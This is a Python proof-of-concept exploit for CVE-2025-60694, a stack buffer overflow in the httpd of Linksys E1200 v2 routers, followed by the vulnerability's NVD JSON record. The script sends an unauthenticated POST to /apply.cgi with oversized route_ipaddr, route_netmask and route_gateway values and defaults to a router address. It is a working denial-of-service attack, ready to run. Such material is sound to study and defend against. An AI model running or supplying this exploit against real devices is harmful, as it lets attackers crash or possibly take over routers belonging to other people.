CVE-2025-60694

import socket import struct def exploit_cve_2025_60694(target_ip, target_port=80): """ PoC for CVE-2025-60694: Linksys E1200 v2 validate_static_route buffer overflow This PoC demonstrates sending an oversized payload to trigger the overflow. """ # Generate overflow payload (exceeds fixed buffer size) overflow_string = 'A' * 1024 # Payload exceeding buffer boundaries # Construct HTTP POST request with malicious CGI parameters post_data = ( f"route_ipaddr_0={overflow_string}&" f"route_netmask_0={overflow_string}&" f"route_gateway_0={overflow_string}" ) http_request = ( f"POST /apply.cgi HTTP/1.1\r\n" f"Host: {target_ip}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(post_data)}\r\n" f"\r\n" f"{post_data}" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(http_request.encode()) response = sock.recv(4096) print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[+] Payload length: {len(overflow_string)}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": target = "192.168.1.1" # Replace with target router IP exploit_cve_2025_60694(target)

{"cve": {"id": "CVE-2025-60694", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:49.373", "lastModified": "2025-11-17T19:55:35.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the validate_static_route function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The function improperly concatenates user-supplied CGI parameters (route_ipaddr_0~3, route_netmask_0~3, route_gateway_0~3) into fixed-size buffers (v6, v10, v14) without proper bounds checking. Remote attackers can exploit this vulnerability via specially crafted HTTP requests to execute arbitrary code or cause denial of service without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60694.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}